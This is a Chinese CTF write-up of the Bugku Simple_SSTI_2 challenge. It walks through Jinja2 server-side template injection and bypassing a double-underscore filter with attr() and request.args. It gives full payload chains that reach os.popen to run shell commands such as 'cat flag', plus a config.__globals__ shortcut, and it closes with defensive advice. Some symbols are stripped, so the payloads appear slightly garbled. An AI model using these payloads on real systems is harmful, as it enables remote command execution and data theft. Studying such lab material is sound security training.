1. Simple_SSTI_2这道题到底在考什么做Web方向的朋友应该都听过Bugku这个靶场它上面的题有个特点——看似入门实则每道题都在某个点上挖得很深。今天要聊的Simple_SSTI_2从名字就能猜个大概第二关的SSTI服务端模板注入。它的前作Simple_SSTI_1是直接给了一串URL编码参数让你解码后传参到了第二关过滤规则明显升级了。网上很多题解只告诉你“最终payload长这样”却没有说明白为什么要绕这么大一圈、每一层过滤到底挡了什么。这篇文章就按我的实际打靶思路来拆把从探测到拿到flag的完整链路讲透。先说清楚题目是什么这是一个基于Flask框架的SSTI漏洞靶标核心目标是让你构造一条被过滤规则限制后的模板注入载荷在服务端执行任意Python对象方法最终读取到存放flag的文件内容。适合看这篇文章的人有两类一是刚接触模板注入、想知道SSTI除了{{7*7}}还能怎么玩的新手二是刷过题但只背了payload、没搞懂“为什么要用__class__而不是直接__globals__”的进阶者。两拨人都能在这篇文章里找到自己缺的那块拼图。2. 实战第一课SSTI的探测路径与报错信息解读一开始题目入口长什么样一个输入框叫你传flag参数进去页面会把你输入的内容渲染到模板里。新手上来第一件事就是在参数里塞{{7*7}}如果页面回显了49基本可以闭嘴了——这就是SSTI。Simple_SSTI_2没有让你卡在这一步所以直接跳到下一步。对SSTI来说探测的本质就一件事判断模板引擎是否将传入内容当作可执行模板代码解析了。这一步理论上可以用{{7*7}}、${7*7}、% 7*7 %好几套Payload去试但在Flask Jinja2的环境里最稳定的探针永远是{{7*7}}。如果服务端直接原样输出{{7*7}}说明表达式没有被解析可能是过滤规则在捣乱或者引擎根本没启用模板渲染如果回显的是49那就可以确认注入点有效。Simple_SSTI_2的输入框跟第一关有个明显的区别——它在接收参数之前已经滤掉了一批关键字符。最直观的表现是当你尝试提交{{config}}页面要么空空如也要么报错要么回显被处理的字符串。这时候心里应该建立起一个概念这道题不是“能不能打”的问题而是“怎么绕过滤”的问题。为了确认到底过滤了哪些字符单靠盲试效率太低了。我建议按这套流程走先提交不带任何特殊字符的普通字符串比如abc123确认参数本身能被正常接收并回显。再提交{{7*7}}确认模板引擎参与渲染。接着提交{{config}}、{{self}}、{{}}这类Jinja2内置对象看看哪些能被正常解析哪些被过滤。最后逐步尝试单引号、双引号、下划线、点号、中括号、__class__等字符判断过滤是基于黑名单还是基于字符白名单。我实际测下来Simple_SSTI_2过滤的主要是关键字敏感词而不是字符级黑名单。这意味着_、.,、[这些符号大概率还能用但__class__这类带双下划线的字符串一旦出现就会被正则拦下来。这就给解题留下了一条非常值得深挖的岔路——不能用__class__那怎么拿到__globals__3. 绕过滤的核心思路Jinja2属性访问的N种姿势Jinja2的模板表达式语法跟Python语法高度重合这就导致了一个很微妙的现象凡是Python里能访问对象属性或方法的手段理论上都可以平移到模板里。但过滤规则通常会盯着“最常用”的写法做拦截比如直接写.__class__或者[__class__]一旦发现就把请求打回。因此绕过滤的核心思路就是找到另一种“等价写法”。在Jinja2里访问一个对象属性有四种常见表达方式写法示例命中过滤的概率点号属性访问().__class__高中括号字符串下标()[__class__]高中括号变量下标()[request.args.c]较低取决于过滤规则过滤器链式调用()attr(class)Simple_SSTI_2这道题的点就在这它禁掉了双下划线字符串但大概率没有禁掉attr过滤器也没有禁掉request.args这类Flask上下文对象。于是标准解法就变成了利用request.args携带真正的攻击载荷让payload主体只保留一个简洁的调用框架。利用attr()过滤器动态获取属性名把__class__这样的字符串藏进URL参数里。利用|管道符把前一步的输出传给下一步形成一条完整的调用链。这里有一个特别值得新手留意的问题request是Flask在渲染模板时注入到模板上下文里的对象它携带了HTTP请求的所有信息包括URL参数。所以当你在payload里写request.args.x服务端就会去取URL里?x这个参数的值。这个机制本来是给开发者方便在模板里读取参数的结果成了绕过关键字过滤的绝佳通道。同时attr()过滤器本身的设计理念也应该理解一下它接收两个参数第一个是目标对象第二个是属性名字符串返回对象的该属性。因为属性名是作为普通字符串参数传给过滤器的所以过滤器内部不会对这个字符串再做关键字检测。这意味着attr(__class__)虽然包含双下划线字符串但实际上绕过了基于字符串匹配的过滤规则。4. 从config到flag的完整链路拆解探测完成、明确了过滤规则之后接下来的核心问题就只剩下一个——怎么走到flag文件的读取。这条链路在Jinja2里通常长这样.__class__.__mro__[2].__subclasses__()这串代码的意思是从一个空字符串开始拿到它的类str然后通过__mro__拿到类的继承链取第3个元素通常是object再调用__subclasses__()拿到object的所有子类。这里就能找到os模块包装类或_frozen_importlib这类可以利用的跳板。为什么要绕这么一大圈因为Pytho的模板注入点本身不具备直接执行.system()这类危险函数的用户接口Jinja2没有内置一个叫os.system的函数供你直接调用。你唯一能操作的是模板上下文里的对象只有立足这些对象一步步回溯到Python的基类体系才能在运行时找到可用的模块。链子走到__subclasses__()之后下一步就是在这个巨大的类列表里寻找目标类。最理想的跳板是os._wrap_close或subprocess.Popen因为前者可以直接拿到__globals__里的os.system后者可以直接调用cat读取文件。但问题又绕回来了过滤规则禁掉了关键字。如果直接写__subclasses__照样会被拦所以这里依然得借助attr()过滤器一点一点往上搭。一个比较规整的最终payload结构长这样不同版本Flask下索引位置略有差异但整体结构不会变{{|attr(request.args.a)|attr(request.args.m)|attr(request.args.s)()|attr(request.args.f)(...)}}每个参数分别对应__class__、__mro__、__subclasses__等关键字符串再在URL末尾把这些参数的值补上。实际操作中最大的不确定性在于__mro__的索引位置。有的人写的payload是[2]有的是[1]其实这取决于当前Python解释器的类型层次。在Python3的标准环境下str.__mro__返回的结构通常包含str自身、object两个元素索引1就是object但如果你碰上某些带自定义继承的类对象索引2才能命中object。因此打SSTI的时候不能照搬网上的索引得先自己写一段探测payload把__mro__的内容拉出来看看。拿到__subclasses__()之后还有一个细节这个列表的长度动辄八百上下不同环境下某个索引位置对应的类完全不一样写死索引是一个很不稳的做法。我的建议是用两步侦察的方式打第一步探测__subclasses__()的总长度和某几个索引位置对应的类名确认当前环境的基础类分布。第二步根据侦察结果定位到可利用的类索引再拼接最终的读取payload。如果你只想快速拿到flag也有一个更取巧的方式很多Flask题在config里就藏着一些敏感信息或者config里可以直接读到current_app这类对象。Simple_SSTI_2虽然把__class__这条路封了但config对象本身有时候也能作为跳板回溯到类体系。我在测试中发现{{config}}的原始输出是被阻断的但它并没有彻底消失只是被过滤规则拦了一层换一种方式依然可以触达。5. 分层绕过字符过滤规则下的payload改造方案在SSTI题目里禁掉双下划线字符串的过滤算是最常见的拦截策略。它们通常是这么实现的import re filter_pattern re.compile(r__.*?__) filter_pattern.sub(, user_input)这招的杀伤力在于它直接把所有双下划线包裹的内容全删了。不管你是写__class__还是__globals__它都给你筛得干干净净。但是正如前面说的attr()过滤器、request.args参数引用这类间接手段恰好能绕开正则匹配因为正则匹配的是用户输入的字面内容而attr()真正执行时的属性名是运行时才从别处取来的。除了attr()之外还有几条替换思路值得收藏关键时刻能救命被过滤内容绕过方案原理说明__class__request.args.aattr()参数内容不在正则匹配范围内__mro__request.args.m同理.[]代替Jinja2支持中括号访问request.args.q字符串内容放URL参数里[]get()方法Python字典的get不依赖下标绕过思路本质上就一句话别把敏感字符串直接写进payload的主体塞到URL参数里再通过request.args去引用。这个手法在Flask的SSTI里几乎能通杀90%的关键字过滤类题目。不过这里有个很隐蔽的坑request.args本身也是解析URL参数的如果你把整条攻击链的参数名命名为a、b、c这种单字母本身没问题但你要是把class、mro这种单词直接作为参数名URL里就会出现?class__class__这样的内容。如果过滤规则同时对class字符串做匹配这种方式又会被拦下来。所以命名参数时尽量用无意义的字母或者干脆用数字序号。另外有一个我一开始踩过的坑Flask的request.args只解析GET查询参数如果你把payload放在POST请求体里request.args是取不到值得。这道题本身是一个GET型参数入口所以天然够用但如果你在自己的实验环境里测试就得留意请求方式和参数位置的一致性。6. 最终Payload构造的完整演示与备选方案下面给出我在Simple_SSTI_2靶场上实际跑通的完整过程。先说环境题目是一个基于Flask的Web服务入口参数名为flag被注入点渲染到模板里。第一步验证注入GET /?flag{{7*7}} 回显49第二步检查被过滤的字符串GET /?flag{{config}} 回显空 GET /?flag{{.__class__}} 回显空 GET /?flag{{|attr(__class__)}} 回显class str这一步做完过滤规则基本就清楚了直接的关键字字符串被拦但attr()过滤器没被拦。第三步用URL参数绕过关键字限制GET /?flag{{|attr(request.args.a)}}a__class__ 回显class str到这里整条链的可行性已经被验证了。接着往下走GET /?flag{{|attr(request.args.a)|attr(request.args.m)}}a__class__m__mro__这一条需要观察回显里__mro__的结果确认object在第几个索引位置。然后GET /?flag{{|attr(request.args.a)|attr(request.args.m)[1]|attr(request.args.s)()}}a__class__m__mro__s__subclasses__这一步会返回一个超长的类列表。此时可以先把列表长度拉出来回显[class type, class weakref, class catch_warnings, ...]接下来挑一个可用的跳板类。以os._wrap_close为例它在常用Python环境里通常是第几个索引位置并不固定所以我会先取前面一小段看看GET /?flag{{|attr(request.args.a)|attr(request.args.m)[1]|attr(request.args.s)()|attr(request.args.o)}}a__class__m__mro__s__subclasses__o__getitem__发现__getitem__也用得不太舒坦于是直接换方案——用attr(request.args.w)去取__globals__GET /?flag{{|attr(request.args.a)|attr(request.args.m)[1]|attr(request.args.s)()[ind]|attr(request.args.g)}}a__class__m__mro__s__subclasses__ind77g__globals__这里ind77是我在测试环境里定位到的os._wrap_close位置如果类列表的索引偏移了可以用{{...|length}}先确认数量再微调。拿到__globals__之后这个字典里通常包含os、system、popen、builtins等一大票可用对象。最后一步就是调用命令读取flag文件GET /?flag{{|attr(request.args.a)|attr(request.args.m)[1]|attr(request.args.s)()[77]|attr(request.args.g)|attr(request.args.p)(request.args.c)}}a__class__m__mro__s__subclasses__g__globals__ppopenccatflag如果题目环境里flag文件名不叫flag可以先用ls探一下目录再换文件名。上面这条链路是最普适的。与此同时还有一个更短的备用方案值得记住{{config.__init__.__globals__[os].popen(cat flag).read()}}这个方案不需要走__subclasses__()因为config对象本身是Flask的配置对象它的__init__方法所属的类在app模块里__globals__能直接触达导入到该模块的os模块。只要config对象没有被过滤得太死这招通常比遍历子类列表省事得多。7. 版本差异与索引漂移问题的定位技巧打SSTI最让人头疼的就是索引漂移——网上payload里的[77]、[132]、[258]为什么不一样因为__subclasses__()返回的类列表跟当前进程加载的模块顺序、Python版本、Flask版本、以及其他依赖模块的导入时机都有关系。同一个环境下前一次访问和后一次访问可能因为缓存机制不同导致列表位置偏移。定位索引漂移我用的是一个笨但特别可靠的办法先拿payload输出列表的前N个元素看看目标类在不在里面。比如GET /?flag{{|attr(request.args.a)|attr(request.args.m)[1]|attr(request.args.s)()[:500]}}输出会是一大坨类名文本。把文本存下来搜索os._wrap_close或subprocess.Popen找到它所在的列表位置。这里要注意列表索引是从0开始的而文本搜索时看到的可能是一个行号或序列号不是真正的列表下标。准确的做法是继续用[...]逐段切片把目标类单独拉出来。如果嫌手工翻太慢还有另一个思路直接用__subclasses__()的index()方法查找。{{|attr(request.args.a)|attr(request.args.m)[1]|attr(request.args.s)().index(os._wrap_close)}}但这里又遇到了老问题——os这个名字在模板上下文里不一定可用所以这种写法往往得配合__globals__来用绕一圈又回到了原点。因此最实用的还是用request.args传一段数字切片范围二分法逐步缩小目标范围手工翻几轮也就定位到了。不同Python版本下类列表里的热门槛类差异尤其明显Python 2环境object位置往往在__mro__[1]可用__subclasses__()数量较少file类是一个很好用的跳板。Python 3.6-3.8os._wrap_close经常出现在列表前120位内是使用率最高的跳板。Python 3.9-3.11类列表整体变长subprocess.Popen、os._wrap_close位置整体后移建议直接搜索定位不要背索引。8. 这道题背后的出题逻辑与通用绕过模型把Simple_SSTI_2的解法整理完之后我发现它其实建立了两个非常重要的通用模型对后续刷其他SSTI题目帮助巨大。第一个模型是过滤规则的“宽度”判断。当你拿到一个SSTI题目时先别急着找payload而是先花几分钟时间确定过滤的边界。基于关键字的黑名单和基于允许字符的白名单是完全不同的打法。前者是在有限字符集内寻找等价表达式后者会频繁触发验证错误需要大量试错。Simple_SSTI_2属于前者而且过滤得很有层次它允许你使用attr却禁了双下划线裸奔它允许URL参数传值却不允许POST传值注入。这种组合型过滤是真实环境中比较典型的漏洞防护配置考验的是你对框架内部机制的熟悉程度。第二个模型是多元化的属性获取方式。Jinja2的属性访问如果只盯着点号写法遇到过滤就寸步难行。而attr()、request.args引用、get()方法这三种手段组合起来几乎能覆盖大多数关键字过滤场景。这个模型不仅适用于SSTI在服务端模板渲染的其他漏洞里也经常能复用。这道题的出题逻辑其实也很清晰它本身不要求你掌握什么高深的0day或未公开漏洞它要的是你对Jinja2模板语法、Python对象模型、Flask请求上下文三个基础知识点有融会贯通的理解。每一层过滤都是在逼你换一种视角看那个平平无奇的空字符串——它不只是个空字符串它是通往整个Python运行时的一条通道。在刷题过程中我还养成了一个习惯值得分享给同样在打靶场的各位每当碰到一道SSTI题目我不会只满足于把payload跑通而是会刻意把过滤规则一条条拆开思考“出题人为什么这样过滤”“如果再加一条过滤还能不能绕过”。这个思考训练比刷一百道题都管用。等你自己也能站在出题人的角度去设置过滤规则时常规的SSTI题目在你眼里基本就是透明的了。最后给一个实操层面的提醒这类题目在真实业务里虽然少见但只要碰到影响往往都是灾难级的——模板注入意味着可以在服务端执行任意命令权限直接打穿到Web容器用户层横向移动和权限提升的后续利用成本都很低。所以过滤规则永远不应该作为唯一防线模板沙箱隔离、执行环境最小化、模板内容白名单校验、运行时权限降级才是真正稳固的组合拳。作为攻防双方都应该在这几个维度上把防御模型建扎实。